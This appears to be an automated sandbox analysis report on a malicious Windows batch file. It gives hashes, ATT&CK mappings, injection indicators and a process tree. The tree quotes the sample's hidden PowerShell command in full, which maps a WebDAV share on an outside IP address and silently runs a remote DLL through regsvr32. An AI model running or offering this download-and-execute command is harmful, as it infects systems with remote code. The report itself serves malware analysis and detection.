547329961cc711a55c39898154dcf38291a96aa94d7512024beb7c6baaad6670

Analysis

max time kernel
120s
max time network
126s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
19/07/2024, 07:25

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General

Target

16626210012441519320.bat
Size

3KB
MD5

95db93f63003dcfe188a45f0c07bd5a2
SHA1

2585d82ed45beb7b2e05ddec07daea988ae00eb7
SHA256

418e2f3d0183ebb11fe64e86d27d001fa3ab3e29d345bb93bf68a24eabcc7ea2
SHA512

636811f2d4f95a0b4e26abd121ebee6c8a2a7a1dd8f27a90fc50e758f6f6bae4d3fdd11bafea5a05c9dbdc2303dda05c4e2d7c84ba209b1e7924283d73a79153

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2812	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2812	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2812	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2808	wordpad.exe
2808	wordpad.exe
2808	wordpad.exe
2808	wordpad.exe
2808	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2172 wrote to memory of 2808	2172	cmd.exe	31
PID 2172 wrote to memory of 2808	2172	cmd.exe	31
PID 2172 wrote to memory of 2808	2172	cmd.exe	31
PID 2172 wrote to memory of 2812	2172	cmd.exe	32
PID 2172 wrote to memory of 2812	2172	cmd.exe	32
PID 2172 wrote to memory of 2812	2172	cmd.exe	32
PID 2812 wrote to memory of 2132	2812	powershell.exe	34
PID 2812 wrote to memory of 2132	2812	powershell.exe	34
PID 2812 wrote to memory of 2132	2812	powershell.exe	34
PID 2812 wrote to memory of 2748	2812	powershell.exe	35
PID 2812 wrote to memory of 2748	2812	powershell.exe	35
PID 2812 wrote to memory of 2748	2812	powershell.exe	35
PID 2812 wrote to memory of 2748	2812	powershell.exe	35
PID 2812 wrote to memory of 2748	2812	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\16626210012441519320.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2172
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\82273137020175.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2812
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2132
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\82273137020175.dll
    3⤵
    PID:2748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2172-16-0x00000000023A0000-0x00000000024A0000-memory.dmp

Filesize
1024KB

Download
memory/2812-21-0x000000001B680000-0x000000001B962000-memory.dmp

Filesize
2.9MB

Download
memory/2812-22-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download